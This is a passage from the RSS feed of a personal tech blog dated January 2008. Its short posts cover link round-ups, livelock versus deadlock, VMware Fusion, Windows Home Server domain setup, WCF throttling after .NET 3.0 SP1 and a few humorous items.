&lt;/a&gt; looked 12 years ago. Awww &amp;hellip; I had forgotten the IE logo.&lt;/li&gt;
&lt;li&gt;Hamachi remote &lt;a
	
		href = &#34;http://lifehacker.com/348197/access-your-computer-anytime-and-save-energy-with-wake&amp;#43;on&amp;#43;lan&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Wake-on-LAN tutorial
	&lt;/span&gt;
&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://research.microsoft.com/netres/projects/virtualwifi/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Virtual Wifi
	&lt;/span&gt;
&lt;/a&gt; - connect to multiple wireless networks at the same time using one wireless card!&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://supertech.csail.mit.edu/cilk/index.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Cilk
	&lt;/span&gt;
&lt;/a&gt; is a language for multithreaded parallel programming based on C and is especially effective for exploiting dynamic, highly asynchronous parallelism, which can be difficult to write in data-parallel or message-passing style&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://code.msdn.microsoft.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		MSDN Code Gallery
	&lt;/span&gt;
&lt;/a&gt; - need I say more?&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.yougetsignal.com/tools/web-sites-on-web-server/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Reverse IP Check
	&lt;/span&gt;
&lt;/a&gt; - see what sites are running on the same web server as your domain. E.g. at the time of writing this there were 305 domains hosted on the same web server as this blog - wow!&lt;/li&gt;
&lt;li&gt;Airbus &lt;a
	
		href = &#34;http://www.gillesvidal.com/blogpano/cockpit1.htm&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		A380 Cockpit
	&lt;/span&gt;
&lt;/a&gt; in 360.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://yourlondon.gov.uk/foodscores&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		London Food Hygiene
	&lt;/span&gt;
&lt;/a&gt; ratings - don&amp;rsquo;t concentrate only on how many Michelin Stars the restaurant has, but focus on how clean is it.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5164&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Compilers</title>
      <link>/post/2008/01/compilers/</link>
      <pubDate>Mon, 28 Jan 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/01/compilers/</guid>
      <description>&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/compiler_complaint.png&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5163&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Livelock</title>
      <link>/post/2008/01/livelock/</link>
      <pubDate>Sat, 26 Jan 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/01/livelock/</guid>
      <description>&lt;p&gt;I did not know until this week that there was something called &amp;ldquo;Livelock&amp;rdquo;; Eh? I heard of Deadlock what the heck is Livelock? Well it is &lt;em&gt;kind of&lt;/em&gt; the opposite of Deadlock (in some respects).&lt;/p&gt;
&lt;p&gt;A Deadlock as we know is when say Process A is waiting for Process B to finish or release some resource or something before continuing and Process B in turn is waiting for Process A before it continues - end result neither continues.&lt;/p&gt;
&lt;p&gt;Livelock is when Process A is running and is constantly changing e.g. stuck in a very long running or infinite loop and quite often causes resources to run out (a.k.a Resource Starvation).&lt;/p&gt;
&lt;p&gt;My classic example of this was when I was using &lt;a
	
		href = &#34;http://dn.codegear.com/article/20841&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Turbo C 2.0
	&lt;/span&gt;
&lt;/a&gt;, many moons ago and after a point I could not compile anymore because the compiler was running out of stack space - as the program had grown than big in size. I had to move to &lt;a
	
		href = &#34;http://info.borland.com/borlandcpp/turbosuite/turbo3.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Turbo C++ compiler
	&lt;/span&gt;
&lt;/a&gt; as that could address more than 512 KB or memory which the Turbo C compiler could not. All these years and I did not know I was experiencing a Livelock!&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5162&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Thought of the day</title>
      <link>/post/2008/01/thought-of-the-day/</link>
      <pubDate>Sat, 26 Jan 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/01/thought-of-the-day/</guid>
      <description>&lt;p&gt;Wise words from &lt;a
	
		href = &#34;http://www.softeng.ox.ac.uk/people/Jim.Davies/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Jim
	&lt;/span&gt;
&lt;/a&gt; (when teaching &lt;a
	
		href = &#34;http://www.softeng.ox.ac.uk/subjects/CDS.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		CDS
	&lt;/span&gt;
&lt;/a&gt;):&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;Keep it Sequential Stupid&amp;rdquo;&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5161&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>First Windows 7 Screenshots</title>
      <link>/post/2008/01/first-windows-7-screenshots/</link>
      <pubDate>Fri, 25 Jan 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/01/first-windows-7-screenshots/</guid>
      <description>&lt;p&gt;Do &lt;a
	
		href = &#34;http://www.thinknext.net/archives/2124&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		these
	&lt;/span&gt;
&lt;/a&gt; seem to be the first Window 7 Screenshots or is it Photoshop magic?&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5159&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Vista, User, Apps and Daddy - a complex relationship</title>
      <link>/post/2008/01/vista-user-apps-and-daddy-a-complex-relationship/</link>
      <pubDate>Tue, 22 Jan 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/01/vista-user-apps-and-daddy-a-complex-relationship/</guid>
      <description>&lt;p&gt;Here is how &lt;a
	
		href = &#34;http://blog.avanadeadvisor.com/blogs/waynea&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		fellow Avanut Wayne
	&lt;/span&gt;
&lt;/a&gt; describes the &amp;ldquo;conversation&amp;rdquo; between Vista and you (the user) when an app. decides to kick the bucket. I particularly like the last one. &lt;p&gt;

    &lt;img src=&#34;images/emotion-2.gif&#34; alt=&#34;Big Smile&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;User: “This thing’s frozen.”&lt;br&gt;
[&lt;em&gt;Tries to close program using various keyboard and mouse actions.]&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;U: “Yep, totally wasted.”&lt;br&gt;
[&lt;em&gt;Task Manager displays&lt;/em&gt;]&lt;/p&gt;
&lt;p&gt;U: “Kill this program.”&lt;/p&gt;
&lt;p&gt;Computer: “Hey, uh, did you know that this program isn’t really responding?  I think it might be frozen.”&lt;/p&gt;
&lt;p&gt;U: “Uh, yeah.  That’s kind of why I told you to kill it.”&lt;/p&gt;
&lt;p&gt;C: “So, what do you want me to do about it?”&lt;/p&gt;
&lt;p&gt;U: “Kill it already!”&lt;/p&gt;
&lt;p&gt;C: “Wait, wait, I think its not responding…”&lt;/p&gt;
&lt;p&gt;U: …&lt;/p&gt;
&lt;p&gt;C: “Oh, ok, it stopped responding, lets figure out why.”&lt;/p&gt;
&lt;p&gt;U: …&lt;/p&gt;
&lt;p&gt;C: “Hmm, dunno.  I&amp;rsquo;m going to tell daddy.”&lt;br&gt;
[&lt;em&gt;Uploads problem report to Microsoft&lt;/em&gt;.]&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5157&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Erlang : The Movie</title>
      <link>/post/2008/01/erlang-the-movie/</link>
      <pubDate>Sun, 20 Jan 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/01/erlang-the-movie/</guid>
      <description>&lt;p&gt;I had not heard of this until &lt;a
	
		href = &#34;http://karan.org/blog&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Karan
	&lt;/span&gt;
&lt;/a&gt; told me about &lt;a
	
		href = &#34;http://erlang.org/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Erlang
	&lt;/span&gt;
&lt;/a&gt; which was &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Erlang_%28programming_language%29&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		originally developed
	&lt;/span&gt;
&lt;/a&gt; by Ericsson and stands for &lt;strong&gt;Er&lt;/strong&gt;icsson &lt;strong&gt;Lang&lt;/strong&gt;uage.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5156&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>VMware Fusion - the perfect Mac and Windows marriage?</title>
      <link>/post/2008/01/vmware-fusion-the-perfect-mac-and-windows-marriage/</link>
      <pubDate>Sun, 20 Jan 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/01/vmware-fusion-the-perfect-mac-and-windows-marriage/</guid>
      <description>&lt;p&gt;&lt;a
	
		href = &#34;http://www.vmware.com/products/fusion/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		VMware Fusion
	&lt;/span&gt;
&lt;/a&gt; is not new and I have been meaning to blog about it for a while but just not got around to it until now. If you only have used VPC (Virtual PC) or it&amp;rsquo;s bigger cousin (Virtual Server) and never used one of the VMware products, wake up and smell the coffee and get ready to get blown away.&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.vmware.com/products/ws/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		VMware Workstation
	&lt;/span&gt;
&lt;/a&gt; for example is so much better than VPC and is not even in the same league. Looking at cars as an analogy, the VPC is a &lt;a
	
		href = &#34;http://www.ford.co.uk/ka/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Ford Ka
	&lt;/span&gt;
&lt;/a&gt; (who come&amp;rsquo;s up with these names?) and the VMware Workstation is a &lt;a
	
		href = &#34;http://www.astonmartin.com/astonmartindbs/html/index.htm&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Aston Martin DBS
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5155&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Interesting Find #8</title>
      <link>/post/2008/01/interesting-find-8/</link>
      <pubDate>Sat, 19 Jan 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/01/interesting-find-8/</guid>
      <description>&lt;p&gt;It has been a while since I posted some of the interesting find (been busy for a change).&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.splashtop.com/index.php&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Slashtop
	&lt;/span&gt;
&lt;/a&gt; - no more waiting for the OS to boot up; if you want to get online or make a call using skype then this is up and running in an instant; more &lt;a
	
		href = &#34;http://www.technologyreview.com/Infotech/20072/?a=f&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		details here
	&lt;/span&gt;
&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://imgs.xkcd.com/comics/exploits_of_a_mom.png&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Exploits of a Mom
	&lt;/span&gt;
&lt;/a&gt; - need I say more?&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.extremetech.com/article2/0,1697,2165273,00.asp&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		5 ways to share big files
	&lt;/span&gt;
&lt;/a&gt; between co-workers or friends - quite handy when you are in those pesky situations when you need to get something across to someone else.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://maniac.fschreiner.de/content/view/9/18/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Cellprofile Switcher
	&lt;/span&gt;
&lt;/a&gt; - you can use the information about the mobile cell your phone uses to do some work for you. For example, your phone can automatically silent itself when you get to work. Of course not too much help when on the tube.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://kudocities.com/cities/london/conversations/what-happened-to-the-beach-burrito-cafe&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Kudocities
	&lt;/span&gt;
&lt;/a&gt; - I came across this when trying to find out what happened to there was a decent buritto joint (sadly not in the same league as &lt;a
	
		href = &#34;http://www.chipotle.com/#&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Chipotle
	&lt;/span&gt;
&lt;/a&gt;) close to the office which suddenly closed and that was a big deal! Why? Well for all the culture, people, excitement, smoke, crime, tube, etc. that is London there is not a decent Mexican joint. 👎&lt;/li&gt;
&lt;li&gt;Crazy about Alarms? Then check out &lt;a
	
		href = &#34;http://www.pocketmax.net/phoneAlarm.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		phoneAlarm
	&lt;/span&gt;
&lt;/a&gt; for your mobile.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.vidabox.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Vidabox Lux
	&lt;/span&gt;
&lt;/a&gt; - is this the most advanced Media Centre? It supports HD-DVD, HDTV, BluRay, etc.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.mymobiler.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		My Mobiler
	&lt;/span&gt;
&lt;/a&gt; - interact with your Windows Mobile screen from your desktop (including copy/past, drag/drop, capture, etc.). Or maybe it is &lt;a
	
		href = &#34;http://www.theinquirer.net/en/inquirer/news/2007/07/04/2s-opterons-end-up-in-htpc-case&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		this one
	&lt;/span&gt;
&lt;/a&gt;?&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.vladstudio.com/wallpapers/?order=viewed&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Desktop Wallpapers
	&lt;/span&gt;
&lt;/a&gt; - quite amazing and hundreds and free.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.zwaveproducts.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Z Wave Products
	&lt;/span&gt;
&lt;/a&gt; - of course if you need to &amp;ldquo;shutdown&amp;rdquo; then won&amp;rsquo;t work. Err &amp;hellip; what the &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Z-Wave&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		heck is Z Wave
	&lt;/span&gt;
&lt;/a&gt;?&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5154&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Think before blogging?</title>
      <link>/post/2008/01/think-before-blogging/</link>
      <pubDate>Sat, 19 Jan 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/01/think-before-blogging/</guid>
      <description>&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/070709_thought_provoker.gif&#34; alt=&#34;Think Before You Blog&#34;/&gt;
        &lt;figcaption&gt;Think Before You Blog&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Hotels Glasses</title>
      <link>/post/2008/01/hotels-glasses/</link>
      <pubDate>Thu, 17 Jan 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/01/hotels-glasses/</guid>
      <description>&lt;p&gt;I came across this &lt;a
	
		href = &#34;http://link.brightcove.com/services/player/bcpid1329217643?bctid=1329232712&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		undercover report on Hotel Glasses
	&lt;/span&gt;
&lt;/a&gt; from a colleague or mine and it sure is very disturbing! A must watch if you stay in hotels.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5151&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>WHS Power Pack 1</title>
      <link>/post/2008/01/whs-power-pack-1/</link>
      <pubDate>Thu, 17 Jan 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/01/whs-power-pack-1/</guid>
      <description>&lt;p&gt;MS has announced the details of what is new on &lt;a
	
		href = &#34;http://blogs.technet.com/homeserver/archive/2008/01/06/windows-home-server-power-pack-1.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		WHS Power Pack 1
	&lt;/span&gt;
&lt;/a&gt; and it seems a collection of things which one would want to add to WHS. It is good to see the amount of testing  gone into this and the fact they have upgrades coming out so soon after RTM.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5152&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Home Server Domain Name Setup</title>
      <link>/post/2008/01/home-server-domain-name-setup/</link>
      <pubDate>Wed, 16 Jan 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/01/home-server-domain-name-setup/</guid>
      <description>&lt;p&gt;Until recently I was running the RC of WHS (being part of the Beta program); but as that was expiring I coughed up for the OEM version. After installing it when I tried to configure the domain name to mychoice.homeserver.com I got an unknown error. I tried both homeserver.com and livenode.com options but neither of them worked.&lt;/p&gt;
&lt;p&gt;It seemed to get these working you need to open IE on your WHS and go to Tools =&amp;gt; Security =&amp;gt; Trusted Sites =&amp;gt; Sites and add the following two sites and try adding it again and all should be OK then.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;http://208.99.195.35&lt;/li&gt;
&lt;li&gt;https://208.99.195.35&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5149&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>WCF Throttling Issues with .NET 3.0 SP1</title>
      <link>/post/2008/01/wcf-throttling-issues-with-net-3-0-sp1/</link>
      <pubDate>Wed, 16 Jan 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/01/wcf-throttling-issues-with-net-3-0-sp1/</guid>
      <description>&lt;p&gt;When you install SP1 for .NET 3.0 by default that changes the throttling settings you might be use to. You could get into a situation where a number of calls are processed and then they stop with the client eventually timing out. To get around this you either explicitly close your connection (which is a good practice in most cases) or change the &lt;a
	
		href = &#34;http://msdn2.microsoft.com/en-us/library/ms731379.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		serviceThrottling
	&lt;/span&gt;
&lt;/a&gt; setting in your WCF config.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5150&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>How to make Tea - from a Hacker</title>
      <link>/post/2008/01/how-to-make-tea-from-a-hacker/</link>
      <pubDate>Sun, 06 Jan 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/01/how-to-make-tea-from-a-hacker/</guid>
      <description>&lt;p&gt;I was reading on something else and came across this and was quite bemused. &lt;a
	
		href = &#34;http://www.nmrc.org/~thegnome/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Simple Nomad
	&lt;/span&gt;
&lt;/a&gt; is a hacker who loves Tea. For those who did not know, Tea is called &amp;ldquo;Chai&amp;rdquo; in Hindi so when you see &amp;ldquo;Chai Tea&amp;rdquo; somewhere (like &lt;a
	
		href = &#34;http://parody.organique.com/001.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Starsucks
	&lt;/span&gt;
&lt;/a&gt;) then that means &amp;ldquo;Tea Tea&amp;rdquo; which just sounds silly.&lt;/p&gt;
&lt;p&gt;If you are a  chai fan then the Indian &amp;ldquo;Masala Chai&amp;rdquo; is apparently the way to go (I am not a tea drinker so can&amp;rsquo;t say). Simple Nomad seems to agree and &lt;a
	
		href = &#34;http://www.nmrc.org/~weasel/chai/index.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		has details
	&lt;/span&gt;
&lt;/a&gt; on which spices to add and which recipes are the best at what time of the day.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5148&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Dell Crystal LCD&#39;s</title>
      <link>/post/2008/01/dell-crystal-lcds/</link>
      <pubDate>Fri, 04 Jan 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/01/dell-crystal-lcds/</guid>
      <description>&lt;p&gt;You remember me talking about &lt;a
	
		href = &#34;http://desigeek.com/weblog/amit/archive/2007/05/22/hold-off-on-that-dell.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		holding off that Dell
	&lt;/span&gt;
&lt;/a&gt;? Well the very cool &lt;a
	
		href = &#34;http://www.dell.com/content/topics/topic.aspx/global/products/monitors/topics/en/monitor_22crystalfp_landing?c=us&amp;amp;l=en&amp;amp;s=gen&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Crystal LCD&#39;s
	&lt;/span&gt;
&lt;/a&gt; are here (and boy are they pricey)!&lt;/p&gt;
&lt;p&gt;For $1200 you get a 22&amp;quot; 1680 x 1050 display. I only see these on Dell&amp;rsquo;s US site and don&amp;rsquo;t see them on the UK site yet. Not sure how long before they show up here. I am surprised Dell did not get this out in time for Christmas.&lt;/p&gt;
&lt;p&gt;You can&amp;rsquo;t be a geek and not drool on these! Better start saving those pennies.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Point UI</title>
      <link>/post/2008/01/point-ui/</link>
      <pubDate>Thu, 03 Jan 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/01/point-ui/</guid>
      <description>&lt;p&gt;Fellow Avanut David send the link to &lt;a
	
		href = &#34;http://www.pointui.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Point UI
	&lt;/span&gt;
&lt;/a&gt;; it essentially is a small skin application for your Windows Mobile 5/6 and &lt;em&gt;somewhat&lt;/em&gt; emulates the iPhone interface. Before you roll your eyes and think &amp;ldquo;here is another iPhone-knockoff-wanna-be&amp;rdquo;, I&amp;rsquo;d suggest you take it for a spin. It is just bloody good!&lt;/p&gt;
&lt;p&gt;The interface is just simple and you can use fingers (my fat fingers also worked!); to me it seems a less of the iPhone and more of a combination of the &lt;a
	
		href = &#34;http://www.htc.com/product/03-product_htctouch.htm&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		HTC Touch
	&lt;/span&gt;
&lt;/a&gt; and the new upcoming &lt;a
	
		href = &#34;http://arstechnica.com/news.ars/post/20071217-windows-mobile-6-1-and-7-0-feature-big-changes-to-compete-with-iphone.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Windows Mobile 6.1 and 7
	&lt;/span&gt;
&lt;/a&gt; (screenshots of v6.1 can be &lt;a
	
		href = &#34;http://www.boygeniusreport.com/gallery/handsets/windows-mobile-61/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		found here
	&lt;/span&gt;
&lt;/a&gt;). Maybe Microsoft should hire these guys in the team.&lt;/p&gt;
&lt;p&gt;Yes it is version 1 and has a few things missing but the &lt;a
	
		href = &#34;http://forums.pointui.com/viewforum.php?f=2&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		community is quite active
	&lt;/span&gt;
&lt;/a&gt; and a lot of good seems to be coming out. And the best part of it all - it is free. &lt;p&gt;

    &lt;img src=&#34;images/emotion-2.gif&#34; alt=&#34;Big Smile&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5146&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Testing with Ink</title>
      <link>/post/2008/01/testing-with-ink/</link>
      <pubDate>Wed, 02 Jan 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/01/testing-with-ink/</guid>
      <description>&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/Ink975214674175.png&#34; alt=&#34;&#34;/&gt;
